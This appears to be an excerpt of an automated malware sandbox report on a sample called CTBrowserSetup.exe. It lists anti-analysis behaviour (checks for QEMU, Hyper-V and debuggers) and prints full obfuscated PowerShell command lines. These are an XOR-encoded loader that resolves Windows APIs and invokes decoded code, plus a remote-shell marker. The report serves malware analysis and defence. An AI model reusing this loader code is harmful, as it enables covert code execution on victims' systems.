Source: C:\Users\user\AppData\Local\Temp\CTBrowserSetup.exe	Process information set: FAILCRITICALERRORS \| NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\CTBrowserSetup.exe	Process information set: FAILCRITICALERRORS \| NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\CTBrowserSetup.exe	Process information set: FAILCRITICALERRORS \| NOOPENFILEERRORBOX	Jump to behavior

Malware Analysis System Evasion

Tries to detect Any.run

Source: C:\Program Files (x86)\Internet Explorer\ieinstal.exe	File opened: C:\Program Files\Qemu-ga\qemu-ga.exe			Jump to behavior
Source: C:\Program Files (x86)\Internet Explorer\ieinstal.exe	File opened: C:\Program Files\qga\qga.exe			Jump to behavior

Source: C:\Program Files (x86)\Internet Explorer\ieinstal.exe TID: 1076	Thread sleep count: 36 > 30			Jump to behavior
Source: C:\Program Files (x86)\Internet Explorer\ieinstal.exe TID: 1076	Thread sleep time: -108000s >= -30000s			Jump to behavior

Source: C:\Windows\System32\conhost.exe	Last function: Thread delayed
Source: C:\Windows\System32\conhost.exe	Last function: Thread delayed
Source: C:\Windows\System32\conhost.exe	Last function: Thread delayed
Source: C:\Program Files (x86)\Internet Explorer\ieinstal.exe	Last function: Thread delayed
Source: C:\Program Files (x86)\Internet Explorer\ieinstal.exe	Last function: Thread delayed

Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe

Window / User API: threadDelayed 7287

Jump to behavior

Source: C:\Windows\System32\wscript.exe

Window found: window name: WSH-Timer

Jump to behavior

Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe

Process information queried: ProcessInformation

Jump to behavior

Source: C:\Program Files (x86)\Internet Explorer\ieinstal.exe

System information queried: ModuleInformation

Jump to behavior

Source: C:\Users\user\AppData\Local\Temp\CTBrowserSetup.exe	API call chain: ExitProcess graph end node			graph_31-66
Source: C:\Users\user\AppData\Local\Temp\CTBrowserSetup.exe	API call chain: ExitProcess graph end node			graph_34-2378

Source: C:\Windows\System32\cmd.exe

File Volume queried: C:\Windows\System32 FullSizeInformation

Jump to behavior

Source: ieinstal.exe, 0000001E.00000002.3358994874.0000000007E6B000.00000004.00000020.00020000.00000000.sdmp, ieinstal.exe, 0000001E.00000002.3358994874.0000000007E29000.00000004.00000020.00020000.00000000.sdmp

Binary or memory string: Hyper-V RAW

Source: C:\Users\user\AppData\Local\Temp\CTBrowserSetup.exe

Code function: 34_2_00A7C380 IsDebuggerPresent,SetUnhandledExceptionFilter,UnhandledExceptionFilter,

34_2_00A7C380

Source: C:\Users\user\AppData\Local\Temp\CTBrowserSetup.exe

Code function: 31_2_00FBD8A0 EntryPoint,LoadLibraryA,GetProcAddress,ExitProcess,VirtualProtect,VirtualProtect,VirtualProtect,

31_2_00FBD8A0

Source: C:\Users\user\AppData\Local\Temp\CTBrowserSetup.exe	Code function: 34_2_00A844BE mov ecx, dword ptr fs:[00000030h]	34_2_00A844BE
Source: C:\Users\user\AppData\Local\Temp\CTBrowserSetup.exe	Code function: 34_2_00A97E98 mov eax, dword ptr fs:[00000030h]	34_2_00A97E98
Source: C:\Users\user\AppData\Local\Temp\CTBrowserSetup.exe	Code function: 34_2_00A97EDC mov eax, dword ptr fs:[00000030h]	34_2_00A97EDC

Source: C:\Users\user\AppData\Local\Temp\CTBrowserSetup.exe	Code function: 34_2_00A7C380 IsDebuggerPresent,SetUnhandledExceptionFilter,UnhandledExceptionFilter,		34_2_00A7C380
Source: C:\Users\user\AppData\Local\Temp\CTBrowserSetup.exe	Code function: 34_2_00A711FD SetUnhandledExceptionFilter,UnhandledExceptionFilter,GetCurrentProcess,TerminateProcess,		34_2_00A711FD

Source: C:\Windows\System32\wscript.exe	Process created: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe c:\windows\system32\windowspowershell\v1.0\powershell.exe" "$loftma = """ faujn cptgi oenh k ounstbabkht acn n 1p1l m{ b p b p a r a m (c[bshttrnienag ] `$ sdo osn y s )g;s k`$ c hcisrbojm a p=k m'm'a; wur ibtse -ahpo sftg b`$ c hdikruodmuap; wprsi tie - h o s tb `$ cbh iar ofmca ;j wpraiktaeu-mh ossst `$ ceh isrsosmja ;m r a g`$ mbe spo =t tnfe wu-aoibbj ebcgt cbdyatie [ ]o t(o`$ns o o n ycs . loegn gstchm / d2s) ;i s uf o r ( `$uapcrtyuca tzebdspb= 0 ;m h`$aakcftsu a tre dap -glatu m`$ snosornpyfss.blsecnbgstvh ;i `$ca c tmu artserdmpb+ =l2d)l{f `$ gblko s ehfhosrnrpa r=b `$fs opo nlyfsp.dstu bks t r irn g (k`$tabczt ufact emd pc,g 2 )t;u o b l o c g b`$am ess o [s`$sa c tmuoa tee dnpw/ 2c]o e=s u[ croonmvheurptt]h:k: t o bsyut es(m`$rguluousfemf o r r at,c c1a6p)h;c u`$ss psa gthbec = c(p`$rm epsbo [ `$ aicat ufaatgekd ph/u2 ]u e-nb x obrg v2v0f2t)a;g r b`$hmaeas o [ `$ia c t uba tne dsp /d2c]z h=t b`$ssapkasgph eu;s d } z[ sat r i n g ]v[isdyss t emml. t e xet . e nlcsowd ionng ]e: :sa skcpi ih.lgoe tnsmt rti n g (i`$pm e s ob)m;p} `$ i s noakdaim0s= keo nftsaakstma n nk1c1s 'e9g9 bl3cbl9 b e a fsa 7de 4ba era 6 am6 'p; `$ isskndaedtis1u=hk opngt aek tna n nf1i1d 'i8s7daf3 ao9ub 8das5 bh9sas5fascbblecea4 9pdma 3tah4ffe9hfu8les4 9afaab4mb 9 apb avcuaifu8 4 acb boefag3rbocpaff 8 7 acftb euab2 at5tahe bs9 'f;i`$bifspn a dmi 2 =tkpo nat aekbtralnrnk1p1t 'u8fdfabf ble 9na b 8 aa5 a 9p8sb abeba e b 8 a fcbb9 b 9v' ;d`$ imsbnfa dhi 3s= k ocnut aukctaa nenp1 1 p'k9 9ubp3 b 9 bcemaaf au7 e 4f9 8obsfsak4dbtega 3nal7 a faet4 8 3sa 4fb enacfabf8 a 5 b ar9 9 acfpbm8ibbc ai3sa 9ka flbf9ne 4u8f2nabb as4 a eua 6aadfu9 8 affpa ca' ;s`$ ifs n a dpii4k=oktobnutsa k tbarnjn 1u1f k'mb 9 bierb 8la 3 al4 and 'g;s`$uils naagd ir5n=kk o nlt aakatba n n 1 1f s' 8sd a fcbue 8h7 a 5 ace bpfda 6habf 8s2taab am4tage af6 a fd'p;s`$ itspnnasd ib6 = ksofn t a kytlasnmn 1q1t i' 9 8w9zes9q9 braba f au9da 3fa bpak6n8s4fa bda 7pa f ej6fe a 8o2ia 3faseia f 8 8 be3b9 9 am3 a ddeb6 e al9 a b fsau8tad6 ac3tad9n' ; `$ciwscnlakd id7 =tkeoln tsadkftja n nr1 1c ' 9c8sb fka 4nb eoan3 am7ca f e 6feua 8b7daubhaa4ca boaodaaufuaner' ; `$ i s nta d il8e=bk o n t ark tfacn nf1w1z n'l9f8sarfsatcca 6aa f ap9lbneaasfsa eu8beta frap6ra f a d a b bwebacf 's;r`$si s nea dti 9r=wkqo nbt amk tgakn n 1 1 'b8 3za 4 8m7kapfoas7eas5ibs8dba3d8y7sam5 amesb fmad6 a fn' ;b`$budn dger0 =fkoo nftbapk t a n nv1 1i 'p8 7 b 3h8se adfna 6 anfrahdhawb bcesapf 9 eabu3sb aaa fs'd; `$pupnadmef1o= kpobnvtua kstkasn ns1s1 s'h8s9ha 6 a bfb 9sb 9fe 6gedab9 a b fma 8ras6 a 3aaa9de 6 esam9 9mavfna b ai6 aefdameae 6ae a 8cbrau4 b 9tas3l8d9cac6 abbibp9 b 9 eg6ie ar8sbrbpfdb e at5i8 9 aw6 aibsbt9 b 9r'u; `$du nkdcer2k= kao n toackhtha nrnv1a1f b'b8d3 a 4mb c a 5 as1ca ff'f; `$ u nmd e 3 =hkiotn tsack tgain nl1m1c f' 9aaeb fnaq8tat6 aa3vat9me 6ceba 8b2sah3sabe apff8k8 b 3n9 9gag3wasd e 6 ebat8 4aahf bgd 9f9ias6 ai5rbee
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process created: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe c:\windows\syswow64\windowspowershell\v1.0\powershell.exe" "function kontaktann11 { param([string]$soonys); $chiroma = ''; write-host $chiroma; write-host $chiroma; write-host $chiroma; $meso = new-object byte[] ($soonys.length / 2); for($actuatedp=0; $actuatedp -lt $soonys.length; $actuatedp+=2){ $gloseforra = $soonys.substring($actuatedp, 2); $meso[$actuatedp/2] = [convert]::tobyte($gloseforra, 16); $spaghe = ($meso[$actuatedp/2] -bxor 202); $meso[$actuatedp/2] = $spaghe; } [string][system.text.encoding]::ascii.getstring($meso);}$isnadi0=kontaktann11 '99b3b9beafa7e4aea6a6';$isnadi1=kontaktann11 '87a3a9b8a5b9a5acbee49da3a4f9f8e49fa4b9abacaf84abbea3bcaf87afbea2a5aeb9';$isnadi2=kontaktann11 '8dafbe9ab8a5a98baeaeb8afb9b9';$isnadi3=kontaktann11 '99b3b9beafa7e498bfa4bea3a7afe483a4beafb8a5ba99afb8bca3a9afb9e482aba4aea6af98afac';$isnadi4=kontaktann11 'b9beb8a3a4ad';$isnadi5=kontaktann11 '8dafbe87a5aebfa6af82aba4aea6af';$isnadi6=kontaktann11 '989e99baafa9a3aba684aba7afe6ea82a3aeaf88b399a3ade6ea9abfa8a6a3a9';$isnadi7=kontaktann11 '98bfa4bea3a7afe6ea87aba4abadafae';$isnadi8=kontaktann11 '98afaca6afa9beafae8eafa6afadabbeaf';$isnadi9=kontaktann11 '83a487afa7a5b8b387a5aebfa6af';$unde0=kontaktann11 '87b38eafa6afadabbeaf9eb3baaf';$unde1=kontaktann11 '89a6abb9b9e6ea9abfa8a6a3a9e6ea99afaba6afaee6ea8ba4b9a389a6abb9b9e6ea8bbfbea589a6abb9b9';$unde2=kontaktann11 '83a4bca5a1af';$unde3=kontaktann11 '9abfa8a6a3a9e6ea82a3aeaf88b399a3ade6ea84afbd99a6a5bee6ea9ca3b8bebfaba6';$unde4=kontaktann11 '9ca3b8bebfaba68ba6a6a5a9';$unde5=kontaktann11 'a4beaea6a6';$unde6=kontaktann11 '84be9ab8a5beafa9be9ca3b8bebfaba687afa7a5b8b3';$unde7=kontaktann11 '838f92';$unde8=kontaktann11 '96';$sladrem21=kontaktann11 '9f998f98f9f8';$pedologic23=kontaktann11 '89aba6a69da3a4aea5bd9ab8a5a98b';function fkp {param ($unsu, $henvend) ;$goldbrick0 =kontaktann11 'ee86b9afa2abb9bea3ada2eaf7eae2918bbaba8ea5a7aba3a497f0f089bfb8b8afa4be8ea5a7aba3a4e48dafbe8bb9b9afa7a8a6a3afb9e2e3eab6ea9da2afb8afe785a8a0afa9beeab1eaee95e48da6a5a8aba68bb9b9afa7a8a6b389aba9a2afeae78ba4aeeaee95e486a5a9abbea3a5a4e499baa6a3bee2ee9fa4aeaff2e391e7fb97e48fbbbfaba6b9e2ee83b9a4abaea3fae3eab7e3e48dafbe9eb3baafe2ee83b9a4abaea3fbe3';.($unde7) $goldbrick0;$goldbrick5 = kontaktann11 'ee99baa3a6aea3a4aeb9eaf7eaee86b9afa2abb9bea3ada2e48dafbe87afbea2a5aee2ee83b9a4abaea3f8e6ea919eb3baaf919797ea8ae2ee83b9a4abaea3f9e6eaee83b9a4abaea3fee3e3';.($unde7) $goldbrick5;$goldbrick1 = kontaktann11 'b8afbebfb8a4eaee99baa3a6aea3a4aeb9e483a4bca5a1afe2eea4bfa6a6e6ea8ae29199b3b9beafa7e498bfa4bea3a7afe483a4beafb8a5ba99afb8bca3a9afb9e482aba4aea6af98afac97e284afbde785a8a0afa9beea99b3b9beafa7e498bfa4bea3a7afe483a4beafb8a5ba99afb8bca3a9afb9e482aba4aea6af98aface2e284afbde785a8a0afa9beea83a4be9abeb8e3e6eae2ee86b9afa2abb9bea3ada2e48dafbe87afbea2a5aee2ee83b9a4abaea3ffe3e3e483a4bca5a1afe2eea4bfa6a6e6ea8ae2ee9fa4b9bfe3e3e3e3e6eaee82afa4bcafa4aee3e3';.($unde7) $goldbrick1;}function gdt {p
Source: C:\Windows\System32\wscript.exe	Process created: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe c:\windows\system32\windowspowershell\v1.0\powershell.exe" "$loftma = """ faujn cptgi oenh k ounstbabkht acn n 1p1l m{ b p b p a r a m (c[bshttrnienag ] `$ sdo osn y s )g;s k`$ c hcisrbojm a p=k m'm'a; wur ibtse -ahpo sftg b`$ c hdikruodmuap; wprsi tie - h o s tb `$ cbh iar ofmca ;j wpraiktaeu-mh ossst `$ ceh isrsosmja ;m r a g`$ mbe spo =t tnfe wu-aoibbj ebcgt cbdyatie [ ]o t(o`$ns o o n ycs . loegn gstchm / d2s) ;i s uf o r ( `$uapcrtyuca tzebdspb= 0 ;m h`$aakcftsu a tre dap -glatu m`$ snosornpyfss.blsecnbgstvh ;i `$ca c tmu artserdmpb+ =l2d)l{f `$ gblko s ehfhosrnrpa r=b `$fs opo nlyfsp.dstu bks t r irn g (k`$tabczt ufact emd pc,g 2 )t;u o b l o c g b`$am ess o [s`$sa c tmuoa tee dnpw/ 2c]o e=s u[ croonmvheurptt]h:k: t o bsyut es(m`$rguluousfemf o r r at,c c1a6p)h;c u`$ss psa gthbec = c(p`$rm epsbo [ `$ aicat ufaatgekd ph/u2 ]u e-nb x obrg v2v0f2t)a;g r b`$hmaeas o [ `$ia c t uba tne dsp /d2c]z h=t b`$ssapkasgph eu;s d } z[ sat r i n g ]v[isdyss t emml. t e xet . e nlcsowd ionng ]e: :sa skcpi ih.lgoe tnsmt rti n g (i`$pm e s ob)m;p} `$ i s noakdaim0s= keo nftsaakstma n nk1c1s 'e9g9 bl3cbl9 b e a fsa 7de 4ba era 6 am6 'p; `$ isskndaedtis1u=hk opngt aek tna n nf1i1d 'i8s7daf3 ao9ub 8das5 bh9sas5fascbblecea4 9pdma 3tah4ffe9hfu8les4 9afaab4mb 9 apb avcuaifu8 4 acb boefag3rbocpaff 8 7 acftb euab2 at5tahe bs9 'f;i`$bifspn a dmi 2 =tkpo nat aekbtralnrnk1p1t 'u8fdfabf ble 9na b 8 aa5 a 9p8sb abeba e b 8 a fcbb9 b 9v' ;d`$ imsbnfa dhi 3s= k ocnut aukctaa nenp1 1 p'k9 9ubp3 b 9 bcemaaf au7 e 4f9 8obsfsak4dbtega 3nal7 a faet4 8 3sa 4fb enacfabf8 a 5 b ar9 9 acfpbm8ibbc ai3sa 9ka flbf9ne 4u8f2nabb as4 a eua 6aadfu9 8 affpa ca' ;s`$ ifs n a dpii4k=oktobnutsa k tbarnjn 1u1f k'mb 9 bierb 8la 3 al4 and 'g;s`$uils naagd ir5n=kk o nlt aakatba n n 1 1f s' 8sd a fcbue 8h7 a 5 ace bpfda 6habf 8s2taab am4tage af6 a fd'p;s`$ itspnnasd ib6 = ksofn t a kytlasnmn 1q1t i' 9 8w9zes9q9 braba f au9da 3fa bpak6n8s4fa bda 7pa f ej6fe a 8o2ia 3faseia f 8 8 be3b9 9 am3 a ddeb6 e al9 a b fsau8tad6 ac3tad9n' ; `$ciwscnlakd id7 =tkeoln tsadkftja n nr1 1c ' 9c8sb fka 4nb eoan3 am7ca f e 6feua 8b7daubhaa4ca boaodaaufuaner' ; `$ i s nta d il8e=bk o n t ark tfacn nf1w1z n'l9f8sarfsatcca 6aa f ap9lbneaasfsa eu8beta frap6ra f a d a b bwebacf 's;r`$si s nea dti 9r=wkqo nbt amk tgakn n 1 1 'b8 3za 4 8m7kapfoas7eas5ibs8dba3d8y7sam5 amesb fmad6 a fn' ;b`$budn dger0 =fkoo nftbapk t a n nv1 1i 'p8 7 b 3h8se adfna 6 anfrahdhawb bcesapf 9 eabu3sb aaa fs'd; `$pupnadmef1o= kpobnvtua kstkasn ns1s1 s'h8s9ha 6 a bfb 9sb 9fe 6gedab9 a b fma 8ras6 a 3aaa9de 6 esam9 9mavfna b ai6 aefdameae 6ae a 8cbrau4 b 9tas3l8d9cac6 abbibp9 b 9 eg6ie ar8sbrbpfdb e at5i8 9 aw6 aibsbt9 b 9r'u; `$du nkdcer2k= kao n toackhtha nrnv1a1f b'b8d3 a 4mb c a 5 as1ca ff'f; `$ u nmd e 3 =hkiotn tsack tgain nl1m1c f' 9aaeb fnaq8tat6 aa3vat9me 6ceba 8b2sah3sabe apff8k8 b 3n9 9gag3wasd e 6 ebat8 4aahf bgd 9f9ias6 ai5rbee	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process created: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe c:\windows\syswow64\windowspowershell\v1.0\powershell.exe" "function kontaktann11 { param([string]$soonys); $chiroma = ''; write-host $chiroma; write-host $chiroma; write-host $chiroma; $meso = new-object byte[] ($soonys.length / 2); for($actuatedp=0; $actuatedp -lt $soonys.length; $actuatedp+=2){ $gloseforra = $soonys.substring($actuatedp, 2); $meso[$actuatedp/2] = [convert]::tobyte($gloseforra, 16); $spaghe = ($meso[$actuatedp/2] -bxor 202); $meso[$actuatedp/2] = $spaghe; } [string][system.text.encoding]::ascii.getstring($meso);}$isnadi0=kontaktann11 '99b3b9beafa7e4aea6a6';$isnadi1=kontaktann11 '87a3a9b8a5b9a5acbee49da3a4f9f8e49fa4b9abacaf84abbea3bcaf87afbea2a5aeb9';$isnadi2=kontaktann11 '8dafbe9ab8a5a98baeaeb8afb9b9';$isnadi3=kontaktann11 '99b3b9beafa7e498bfa4bea3a7afe483a4beafb8a5ba99afb8bca3a9afb9e482aba4aea6af98afac';$isnadi4=kontaktann11 'b9beb8a3a4ad';$isnadi5=kontaktann11 '8dafbe87a5aebfa6af82aba4aea6af';$isnadi6=kontaktann11 '989e99baafa9a3aba684aba7afe6ea82a3aeaf88b399a3ade6ea9abfa8a6a3a9';$isnadi7=kontaktann11 '98bfa4bea3a7afe6ea87aba4abadafae';$isnadi8=kontaktann11 '98afaca6afa9beafae8eafa6afadabbeaf';$isnadi9=kontaktann11 '83a487afa7a5b8b387a5aebfa6af';$unde0=kontaktann11 '87b38eafa6afadabbeaf9eb3baaf';$unde1=kontaktann11 '89a6abb9b9e6ea9abfa8a6a3a9e6ea99afaba6afaee6ea8ba4b9a389a6abb9b9e6ea8bbfbea589a6abb9b9';$unde2=kontaktann11 '83a4bca5a1af';$unde3=kontaktann11 '9abfa8a6a3a9e6ea82a3aeaf88b399a3ade6ea84afbd99a6a5bee6ea9ca3b8bebfaba6';$unde4=kontaktann11 '9ca3b8bebfaba68ba6a6a5a9';$unde5=kontaktann11 'a4beaea6a6';$unde6=kontaktann11 '84be9ab8a5beafa9be9ca3b8bebfaba687afa7a5b8b3';$unde7=kontaktann11 '838f92';$unde8=kontaktann11 '96';$sladrem21=kontaktann11 '9f998f98f9f8';$pedologic23=kontaktann11 '89aba6a69da3a4aea5bd9ab8a5a98b';function fkp {param ($unsu, $henvend) ;$goldbrick0 =kontaktann11 'ee86b9afa2abb9bea3ada2eaf7eae2918bbaba8ea5a7aba3a497f0f089bfb8b8afa4be8ea5a7aba3a4e48dafbe8bb9b9afa7a8a6a3afb9e2e3eab6ea9da2afb8afe785a8a0afa9beeab1eaee95e48da6a5a8aba68bb9b9afa7a8a6b389aba9a2afeae78ba4aeeaee95e486a5a9abbea3a5a4e499baa6a3bee2ee9fa4aeaff2e391e7fb97e48fbbbfaba6b9e2ee83b9a4abaea3fae3eab7e3e48dafbe9eb3baafe2ee83b9a4abaea3fbe3';.($unde7) $goldbrick0;$goldbrick5 = kontaktann11 'ee99baa3a6aea3a4aeb9eaf7eaee86b9afa2abb9bea3ada2e48dafbe87afbea2a5aee2ee83b9a4abaea3f8e6ea919eb3baaf919797ea8ae2ee83b9a4abaea3f9e6eaee83b9a4abaea3fee3e3';.($unde7) $goldbrick5;$goldbrick1 = kontaktann11 'b8afbebfb8a4eaee99baa3a6aea3a4aeb9e483a4bca5a1afe2eea4bfa6a6e6ea8ae29199b3b9beafa7e498bfa4bea3a7afe483a4beafb8a5ba99afb8bca3a9afb9e482aba4aea6af98afac97e284afbde785a8a0afa9beea99b3b9beafa7e498bfa4bea3a7afe483a4beafb8a5ba99afb8bca3a9afb9e482aba4aea6af98aface2e284afbde785a8a0afa9beea83a4be9abeb8e3e6eae2ee86b9afa2abb9bea3ada2e48dafbe87afbea2a5aee2ee83b9a4abaea3ffe3e3e483a4bca5a1afe2eea4bfa6a6e6ea8ae2ee9fa4b9bfe3e3e3e3e6eaee82afa4bcafa4aee3e3';.($unde7) $goldbrick1;}function gdt {p	Jump to behavior

Source: C:\Windows\System32\wscript.exe	Process created: C:\Windows\System32\cmd.exe C:\Windows\system32\cmd.exe /c dir	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Process created: C:\Windows\System32\cmd.exe cmd /c dir&echo ###RSHELL.EXE###	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Process created: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" "$Loftma = """ FAuJn cPtGi oEnh k oUnStbabkHt aCn n 1P1L M{ B P b p a r a m (C[BSHtTrNiEnAg ] `$ SDo oSn y s )G;S K`$ C hCiSrBoJm a P=K M'M'A; WUr iBtSe -aHPo sFtG B`$ C hDiKrUoDmUaP; WPrSi tIe - H o s tB `$ Cbh iAr oFmCa ;J WPrAiKtAeU-MH oSsSt `$ CEh iSrSosmJa ;M R A G`$ Mbe sPo =T TNFe wU-AOIbBj eBcGt CbDyAtie [ ]O T(O`$NS o o n yCs . LOegn gStChm / d2S) ;I S UF o r ( `$UAPcrtYuCa tZeBdSpB= 0 ;M H`$AAKcFtSu a tRe dAp -GlAtU M`$ SnoSoRnPyFsS.BLSeCnBgStvh ;I `$CA c tMu artseRdMpB+ =L2D)L{f `$ GblKo s eHfHoSrNrPa R=B `$FS oPo nLyFsP.DSTu bKs t r iRn g (K`$TABcZt uFaCt eMd pC,G 2 )T;U O B l O C G B`$AM eSs o [S`$sA c tMuOa tEe dNpW/ 2C]O E=S U[ cRoOnMvHeUrPtT]H:k: T o BSyUt eS(M`$RGUlUoUsFeMf o r r at,C C1A6P)h;C U`$SS psa gThBeC = C(P`$RM ePsBo [ `$ AicAt uFaatGeKd pH/U2 ]U E-Nb x oBrG V2V0F2T)A;G R B`$HMAeAs o [ `$iA c t uBa tNe dSp /D2C]Z H=T b`$SSapKaSgPh eU;S D } Z[ SAt r i n g ]V[ISDySs t eMmL. T e xEt . E nLcSoWd iOnNg ]e: :SA SKCPI IH.LGOe tnSmt rTi n g (I`$pM e s oB)M;P} `$ I s nOaKdAiM0s= kEo nFtSaAkStMa n nk1C1S 'E9G9 BL3CBL9 B E A FsA 7DE 4BA ERA 6 AM6 'P; `$ ISsKnDaEdTiS1U=Hk oPnGt aEk tNa n nF1I1D 'I8S7DAF3 AO9UB 8DAS5 BH9SAS5FASCBBLECEA4 9PDmA 3TAH4FFE9HFU8LES4 9AFAAB4MB 9 APB AVCuAiFu8 4 ACB BOEFAG3RBOCPAFF 8 7 ACFTB EUAB2 AT5TAHE BS9 'F;I`$BIFsPn a dMi 2 =TkPo nAt aekBtRaLnRnK1P1T 'U8FDFABF BLE 9NA B 8 AA5 A 9P8SB ABEBA E B 8 A FCBB9 B 9V' ;D`$ IMsBnFa dHi 3S= k oCnUt aUkCtAa nEnP1 1 p'K9 9UBP3 B 9 BCEMAAF AU7 E 4F9 8OBSFSAK4DBTEGA 3NAL7 A FaET4 8 3SA 4FB ENACFABF8 A 5 B AR9 9 ACFPBM8IBBC Ai3SA 9KA FLBF9NE 4u8F2NABB AS4 A EUA 6AADFU9 8 AfFPA CA' ;S`$ IFs n a dPiI4K=OkToBnUtSa k tBaRnJn 1U1f K'MB 9 BIERB 8LA 3 AL4 AnD 'G;S`$UILs nAaGd iR5N=Kk o nlt aAkAtBa n n 1 1F S' 8SD A FCBUE 8H7 A 5 ACE BPFDA 6HABF 8S2TAAB AM4TAGE AF6 A FD'P;S`$ ITsPnNaSd iB6 = kSoFn t a kYtLaSnMn 1Q1T I' 9 8W9ZES9Q9 BRABA F Au9DA 3FA BPAK6N8S4FA BDA 7PA F EJ6FE A 8O2IA 3FAsEIA F 8 8 Be3B9 9 AM3 A DDEB6 E AL9 A B FSAU8TAD6 AC3TAD9N' ; `$CIWsCnlaKd iD7 =TkEoLn tSaDkFtJa n nR1 1C ' 9C8SB FKA 4NB EOAN3 AM7CA F E 6FEUA 8B7DAUBHAA4CA BOAODAAUFUAnEr' ; `$ I s nTa d il8E=Bk o n t aRk tFaCn nF1W1Z N'L9F8SARFSATCCA 6aA F AP9LBNEAASFSA EU8bETA FRAP6RA F A D A B BWEBACF 'S;R`$SI s nEa dTi 9R=WkQo nBt aMk tGaKn n 1 1 'B8 3ZA 4 8M7KAPFOAS7EAS5IBS8DBA3D8Y7SAM5 AMESB FMAD6 A FN' ;B`$BUDn dGeR0 =Fkoo nFtBaPk t a n nV1 1I 'P8 7 B 3H8SE ADFNA 6 ANFRAHDhAwB BCESAPF 9 EABU3SB AAA FS'D; `$PUpnAdmeF1O= kpoBnVtUa kStKaSn nS1S1 S'H8S9HA 6 A BFB 9SB 9FE 6GEDAB9 A B FMA 8RAS6 A 3AAA9DE 6 EsAM9 9MAvFNA B AI6 AEFDAMEAE 6AE A 8CBRAU4 B 9TAS3L8D9CAC6 ABBIBP9 B 9 EG6IE AR8SBRBPFDB E AT5I8 9 Aw6 AIBsBT9 B 9R'U; `$DU nkdCeR2K= kAo n tOackHtHa nRnV1A1F B'B8D3 A 4mB C A 5 AS1CA FF'f; `$ U nMd e 3 =HkIotn tSaCk tGain nL1M1C F' 9AAEB FNAQ8tAT6 AA3VAT9mE 6CEBA 8B2SAH3SABE APFF8K8 B 3N9 9GAG3wASD E 6 EbAt8 4AAHF BGD 9F9IAS6 AI5RBEE	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process created: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe" "Function kontaktann11 { param([String]$Soonys); $Chiroma = ''; Write-Host $Chiroma; Write-Host $Chiroma; Write-Host $Chiroma; $Meso = New-Object byte[] ($Soonys.Length / 2); For($Actuatedp=0; $Actuatedp -lt $Soonys.Length; $Actuatedp+=2){ $Gloseforra = $Soonys.Substring($Actuatedp, 2); $Meso[$Actuatedp/2] = [convert]::ToByte($Gloseforra, 16); $Spaghe = ($Meso[$Actuatedp/2] -bxor 202); $Meso[$Actuatedp/2] = $Spaghe; } [String][System.Text.Encoding]::ASCII.GetString($Meso);}$Isnadi0=kontaktann11 '99B3B9BEAFA7E4AEA6A6';$Isnadi1=kontaktann11 '87A3A9B8A5B9A5ACBEE49DA3A4F9F8E49FA4B9ABACAF84ABBEA3BCAF87AFBEA2A5AEB9';$Isnadi2=kontaktann11 '8DAFBE9AB8A5A98BAEAEB8AFB9B9';$Isnadi3=kontaktann11 '99B3B9BEAFA7E498BFA4BEA3A7AFE483A4BEAFB8A5BA99AFB8BCA3A9AFB9E482ABA4AEA6AF98AFAC';$Isnadi4=kontaktann11 'B9BEB8A3A4AD';$Isnadi5=kontaktann11 '8DAFBE87A5AEBFA6AF82ABA4AEA6AF';$Isnadi6=kontaktann11 '989E99BAAFA9A3ABA684ABA7AFE6EA82A3AEAF88B399A3ADE6EA9ABFA8A6A3A9';$Isnadi7=kontaktann11 '98BFA4BEA3A7AFE6EA87ABA4ABADAFAE';$Isnadi8=kontaktann11 '98AFACA6AFA9BEAFAE8EAFA6AFADABBEAF';$Isnadi9=kontaktann11 '83A487AFA7A5B8B387A5AEBFA6AF';$Unde0=kontaktann11 '87B38EAFA6AFADABBEAF9EB3BAAF';$Unde1=kontaktann11 '89A6ABB9B9E6EA9ABFA8A6A3A9E6EA99AFABA6AFAEE6EA8BA4B9A389A6ABB9B9E6EA8BBFBEA589A6ABB9B9';$Unde2=kontaktann11 '83A4BCA5A1AF';$Unde3=kontaktann11 '9ABFA8A6A3A9E6EA82A3AEAF88B399A3ADE6EA84AFBD99A6A5BEE6EA9CA3B8BEBFABA6';$Unde4=kontaktann11 '9CA3B8BEBFABA68BA6A6A5A9';$Unde5=kontaktann11 'A4BEAEA6A6';$Unde6=kontaktann11 '84BE9AB8A5BEAFA9BE9CA3B8BEBFABA687AFA7A5B8B3';$Unde7=kontaktann11 '838F92';$Unde8=kontaktann11 '96';$Sladrem21=kontaktann11 '9F998F98F9F8';$Pedologic23=kontaktann11 '89ABA6A69DA3A4AEA5BD9AB8A5A98B';function fkp {Param ($Unsu, $Henvend) ;$Goldbrick0 =kontaktann11 'EE86B9AFA2ABB9BEA3ADA2EAF7EAE2918BBABA8EA5A7ABA3A497F0F089BFB8B8AFA4BE8EA5A7ABA3A4E48DAFBE8BB9B9AFA7A8A6A3AFB9E2E3EAB6EA9DA2AFB8AFE785A8A0AFA9BEEAB1EAEE95E48DA6A5A8ABA68BB9B9AFA7A8A6B389ABA9A2AFEAE78BA4AEEAEE95E486A5A9ABBEA3A5A4E499BAA6A3BEE2EE9FA4AEAFF2E391E7FB97E48FBBBFABA6B9E2EE83B9A4ABAEA3FAE3EAB7E3E48DAFBE9EB3BAAFE2EE83B9A4ABAEA3FBE3';.($Unde7) $Goldbrick0;$Goldbrick5 = kontaktann11 'EE99BAA3A6AEA3A4AEB9EAF7EAEE86B9AFA2ABB9BEA3ADA2E48DAFBE87AFBEA2A5AEE2EE83B9A4ABAEA3F8E6EA919EB3BAAF919797EA8AE2EE83B9A4ABAEA3F9E6EAEE83B9A4ABAEA3FEE3E3';.($Unde7) 